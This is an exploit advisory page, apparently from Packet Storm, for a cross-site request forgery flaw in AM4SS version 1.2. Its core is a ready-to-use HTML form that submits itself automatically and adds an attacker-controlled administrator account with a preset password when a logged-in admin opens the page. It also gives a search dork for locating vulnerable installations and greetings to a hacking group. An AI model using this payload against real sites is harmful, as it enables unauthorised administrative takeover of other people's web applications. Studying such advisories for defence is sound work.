AM4SS version 1.2 add administrator cross site request forgery exploit.
605abe63915e90bb7e2e39fc6d38ae98fda50cc770105dc6483dba26be671d9a#Title : AM4SS Version 1.2 - CSRF add Admin
#Script : AM4SS Version 1.2
#Language : Php
#Download : http://am4ss.org/am4ss.tar.gz
#Date : 2011/09/09
#Version : 1.2
#Dork : "Powered by AM4SS "
#Found : by red virus >>> c3o@w.cn
#Homepage : www.alm3refh.com
<html>
<form name="r3dvirus" action="http://localhost/am4ss/admincp/users.php?do=add" method="post">
<input value="egypt" name="userfullname" type="text" />
<input value="123456" name="password" type="text" />
<input value="c3o@w.cn" name="useremail" type="text" />
<input value="EG" name="country" type="text" />
<input value="3" name="usergroup" type="text" />
<input value="save" name="do" type="text" />
</form>
<script>document.r3dvirus.submit();</script>
</html>
###########################################################################################################
greats 2
>>> alm3refh.com - tryag.cc - joood
T3rr0rist & cyb3r-1st & i-Hmx & h311 c0d3 & orange man
infofst & virus hima & Karar aLShaMi & b0x & all alm3refh group
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed